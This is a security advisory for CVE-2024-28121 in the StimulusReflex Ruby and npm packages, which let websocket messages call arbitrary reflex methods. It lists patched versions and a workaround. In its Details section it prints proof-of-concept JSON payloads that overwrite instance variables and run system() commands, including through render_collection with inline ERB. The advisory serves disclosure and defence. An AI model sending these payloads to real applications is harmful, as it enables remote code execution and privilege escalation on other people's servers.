GHSA-f78j-4w3g-4q65
StimulusReflex arbitrary method call
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| RubyGems | stimulus_reflex | >= 3.5.0.pre0, < 3.5.0.rc4 | 3.5.0.rc4 |
| RubyGems | stimulus_reflex | < 3.4.2 | 3.4.2 |
| npm | stimulus_reflex | >= 3.5.0-pre0, < 3.5.0-rc4 | 3.5.0-rc4 |
| npm | stimulus_reflex | < 3.4.2 | 3.4.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
More methods than expected can be called on reflex instances. Being able to call some of them has security implications.
### Details
To invoke a reflex a websocket message of the following shape is sent:
```json
{
"target": "[class_name]#[method_name]",
"args": []
}
```
The server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`.
It then attempts to call `method_name` on the instance with the provided arguments [ref](https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83):
```ruby
method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }
if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
reflex.public_send(method_name, *arguments)
end
```
This is problematic as `reflex.method(method_name)` can be more methods than those explicitly specified by the developer in their reflex class. A good example is the `instance_variable_set` method.
<details>
<summary>Read more</summary>
Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.
This variable can be overwritten using the following message:
```json
{
"target": "ChatReflex#instance_variable_set",
"args": ["@user", "<admin-id>"]
}
```
Here are other interesting methods that were found to be available for the [ChatReflex sample reflex](https://github.com/hopsoft/stimulus_reflex_expo/blob/dcce8c36a6782d1e7f57f0e2766a3f6fd770b3b1/app/reflexes/chat_reflex.rb)
- `remote_byebug`: bind a debugging server
- `pry`: drop the process in a REPL session
All in all, only counting `:req` and `:opt` parameters helps.
For example around [version 1.0](https://github.com/stimulusreflex/stimulus_reflex/blob/1f610b636abfed27de2c61104aebd1ac98180d5b/lib/stimulus_reflex/channel.rb#L41) only `.arity` was checked which allowed access to the `system` method (`.arity == -1`)
```json
{
"target": "ChatReflex#system",
"args": ["[command here]"]
}
```
Using `public_send` instead of `send` does not help but the following payloads **do not** work since `:rest` parameters are not counted in the current version
```json
{
"target": "ChatReflex#send",
"args": ["system", "[command here]"]
}
```
```json
{
"target": "ChatReflex#instance_eval",
"args": ["system('[command here]')"]
}
```
</details>
Pre-versions of 3.5.0 added a `render_collection` method on reflexes with a `:req` parameter. Calling this method could lead to arbitrary code execution:
```json
{
"target": "StimulusReflex::Reflex#render_collection",
"args": [
{ "inline": "<% system('[command here]') %>" }
]
}
```
### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/stimulus_reflex) and on [NPM](https://npmjs.org/package/stimulus_reflex).
The patched versions are:
- [`3.4.2`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2)
- [`3.5.0.rc4`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4)
### Workaround
You can add this guard to mitigate the issue if running an unpatched version of the library.
1.) Make sure all your reflexes inherit from the `ApplicationReflex` class
2.) Add this `before_reflex` callback to your `app/reflexes/application_reflex.rb` file:
```ruby
class ApplicationReflex < StimulusReflex::Reflex
before_reflex do
ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }
raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
end
end
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/stimulusreflex/stimulus_reflex/security/advisories/GHSA-f78j-4w3g-4q65
- https://nvd.nist.gov/vuln/detail/CVE-2024-28121
- https://github.com/stimulusreflex/stimulus_reflex/commit/538582d240439aab76066c72335ea92096cd0c7f
- https://github.com/stimulusreflex/stimulus_reflex/commit/d823d7348f9ca42eb6df25574f11974e4f5bc88c
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/stimulus_reflex/CVE-2024-28121.yml
- https://github.com/stimulusreflex/stimulus_reflex
- https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83
- https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2
- https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4
- http://seclists.org/fulldisclosure/2024/Mar/16